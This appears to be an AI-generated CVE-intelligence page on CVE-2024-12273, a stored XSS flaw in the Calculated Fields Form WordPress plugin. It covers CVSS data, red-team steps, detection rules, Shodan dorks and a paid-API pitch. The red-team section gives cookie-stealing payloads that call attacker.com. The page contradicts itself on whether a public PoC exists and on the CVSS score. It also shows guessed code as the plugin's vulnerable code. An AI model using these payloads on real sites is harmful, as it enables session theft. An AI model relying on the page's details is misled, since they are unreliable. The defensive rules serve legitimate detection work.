☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-12273

CVE-2024-12273 Cross-Site Scripting in Calculated fields form
📅 PUBLISHED: 2025-04-29 06:00 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.22%
👁️
0.22% probability
5.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-12273 is a Stored Cross-Site Scripting (XSS) vulnerability in the Calculated Fields Form WordPress plugin, affecting versions prior to 5.2.62. The flaw allows high-privilege users (e.g., administrators) to inject malicious scripts into plugin settings, which are then stored and executed when other users view the settings page. This is particularly dangerous in multisite WordPress installations where the unfiltered_html capability is disabled, as it bypasses standard input sanitization. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement of high privileges and user interaction. No public exploit code or proof-of-concept is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. Users should verify their plugin version and update immediately to 5.2.62. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): High (H) – Requires admin-level access.
  • User Interaction (UI): Required (R) – Victim must view the settings page.
  • Scope (S): Changed (C) – Impact can extend beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium (5.4) – Exploitation requires admin privileges but can lead to persistent XSS in multisite environments.

Deep Dive & Mechanics

The vulnerability resides in the plugin's settings page, where user-supplied input is not properly sanitized or escaped before being stored and later rendered. In WordPress multisite, super admins can restrict unfiltered_html for lower-level admins, but this plugin fails to respect that restriction. An attacker with admin privileges can inject malicious JavaScript into settings fields (e.g., form labels, validation messages). When another admin or user views the settings page, the script executes in their browser context, potentially stealing session cookies, performing actions on behalf of the victim, or defacing the site.

The root cause is the lack of wp_kses() or similar sanitization functions on output, combined with insufficient input validation. The plugin likely uses echo or esc_html() incorrectly, allowing raw HTML/JavaScript to persist.

Vulnerable vs. Patched Code

Vulnerable Code (pre-5.2.62):

// In settings page rendering
echo "<input type='text' name='field_label' value='" . $option_value . "' />";

Here, $option_value is not sanitized, allowing injection of "><script>alert(1)</script>.

Patched Code (5.2.62+):

// Properly escape output
echo "<input type='text' name='field_label' value='" . esc_attr( $option_value ) . "' />";

The esc_attr() function escapes HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

  1. Prerequisites: Admin access to a WordPress multisite with unfiltered_html disabled.

  2. Steps:

    • Navigate to Calculated Fields Form settings.
    • In a text field (e.g., "Form Title"), inject payload:
      <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
      
    • Save settings.
    • When another admin views the settings page, the script executes, exfiltrating cookies.
  3. Advanced Payload:

    <img src=x onerror="new Image().src='https://attacker.com/steal?data='+btoa(document.cookie)">
    

Blue Team (Defense & Detection)

  • Prevention: Update plugin to 5.2.62.
  • Detection: Monitor for unusual admin activity, especially changes to plugin settings.
  • Response: If compromised, revoke all admin sessions, reset passwords, and audit plugin settings for injected scripts.

Indicators of Compromise (IOCs)

  • File-based: Modified plugin files (e.g., wp-content/plugins/calculated-fields-form/).
  • Database: Suspicious entries in wp_options table under plugin settings.
  • Network: Outbound connections to unknown domains from admin pages.
  • Logs: Unusual admin login times or IP addresses.

Detection Engineering

YARA Rule

rule CVE_2024_12273_Stored_XSS {
    meta:
        description = "Detects malicious JavaScript injection in Calculated Fields Form settings"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2024-12273"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_img = /<img[^>]+onerror\s*=/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-12273 Stored XSS in Calculated Fields Form
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS payloads in plugin settings
logsource:
    product: wordpress
    service: audit
detection:
    selection:
        EventID: 1000  # Custom event for plugin settings change
        Data|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in settings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-12273 Stored XSS Exfiltration"; flow:to_server,established; content:"/steal?"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Update the plugin to version 5.2.62 or later.
  2. Workaround: If unable to update, restrict admin access to trusted users only.
  3. Long-term: Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  4. Monitoring: Enable WordPress audit logging to track settings changes.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Calculated Fields Form"
http.html:"calculated-fields-form"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-12273/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.